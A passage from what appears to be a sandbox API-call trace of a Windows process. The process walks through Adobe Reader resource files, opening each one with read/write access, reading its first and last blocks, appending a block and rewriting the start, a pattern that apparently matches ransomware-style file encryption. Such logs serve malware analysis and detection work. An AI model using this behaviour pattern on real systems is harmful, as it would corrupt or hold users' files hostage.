lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.977] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0041.977] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c5dd8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c5dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.977] CloseHandle (hObject=0x1cc) returned 1 [0041.977] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.376] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.376] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6d74 [0042.376] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.376] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.376] ReleaseMutex (hMutex=0x128) returned 1 [0042.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.376] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.fi_FI.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.fi_FI.txt", lpUsedDefaultChar=0x0) returned 30 [0042.376] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.378] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5d74 [0042.378] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.378] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5d74 [0042.379] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.379] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.379] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.379] CloseHandle (hObject=0x1ac) returned 1 [0042.379] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.hu_HU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.hu_hu.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.380] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.380] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6dfe [0042.380] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.380] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.380] ReleaseMutex (hMutex=0x128) returned 1 [0042.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu_HU.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.380] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.hu_HU.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.hu_HU.txt", lpUsedDefaultChar=0x0) returned 30 [0042.380] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.381] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5dfe [0042.381] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.382] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5dfe [0042.382] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.382] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.382] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.382] CloseHandle (hObject=0x1ac) returned 1 [0042.383] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.lt.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.lt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.383] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.383] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6bea [0042.383] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.383] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.383] ReleaseMutex (hMutex=0x128) returned 1 [0042.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0042.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.lt.txt", cchWideChar=27, lpMultiByteStr=0x1e7fd2c, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.lt.txt", lpUsedDefaultChar=0x0) returned 27 [0042.383] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.385] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5bea [0042.385] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.385] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5bea [0042.386] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7e38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e38*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.386] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.386] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.386] CloseHandle (hObject=0x1ac) returned 1 [0042.386] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.nl_NL_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.nl_nl_preeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.387] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.387] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6dd6 [0042.387] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.387] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.387] ReleaseMutex (hMutex=0x128) returned 1 [0042.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0042.387] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.nl_NL_PREEURO.txt", cchWideChar=38, lpMultiByteStr=0x1eb2244, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.nl_NL_PREEURO.txt", lpUsedDefaultChar=0x0) returned 38 [0042.387] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.388] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5dd6 [0042.388] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.389] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5dd6 [0042.389] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7e38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e38*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.389] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.389] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.389] CloseHandle (hObject=0x1ac) returned 1 [0042.389] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ru_RU.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ru_ru.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.390] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.390] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x7498 [0042.390] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.390] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.390] ReleaseMutex (hMutex=0x128) returned 1 [0042.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_RU.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.390] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ru_RU.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ru_RU.txt", lpUsedDefaultChar=0x0) returned 30 [0042.390] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.391] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6498 [0042.391] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.392] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6498 [0042.392] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7e38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e38*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.392] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.392] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.392] CloseHandle (hObject=0x1ac) returned 1 [0042.393] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.tr_TR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.tr_tr.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.394] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.394] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x7288 [0042.394] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.394] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.394] ReleaseMutex (hMutex=0x128) returned 1 [0042.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr_TR.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0042.394] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.tr_TR.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.tr_TR.txt", lpUsedDefaultChar=0x0) returned 30 [0042.394] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.395] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6288 [0042.395] ReadFile (in: hFile=0x1ac, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.396] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x6288 [0042.396] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c7e38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e38*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.396] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.396] WriteFile (in: hFile=0x1ac, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.396] CloseHandle (hObject=0x1ac) returned 1 [0042.396] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\brt.hyp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\brt.hyp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.397] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.397] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xc800 [0042.398] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.398] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.398] ReleaseMutex (hMutex=0x128) returned 1 [0042.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.hyp", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0042.398] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.hyp", cchWideChar=7, lpMultiByteStr=0x1e6a7a4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brt.hyp", lpUsedDefaultChar=0x0) returned 7 [0042.398] ReadFile (in: hFile=0x1ac, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.400] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xb800 [0042.400] ReadFile (in: hFile=0x1ac, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.402] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xb800 [0042.402] WriteFile (in: hFile=0x1ac, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.403] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0042.403] WriteFile (in: hFile=0x1ac, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.403] CloseHandle (hObject=0x1ac) returned 1 [0042.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\bul32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\bul32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.404] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0042.404] SetFilePointer (in: hFile=0x1ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x7ffe [0042.405] SetFilePointer (in: 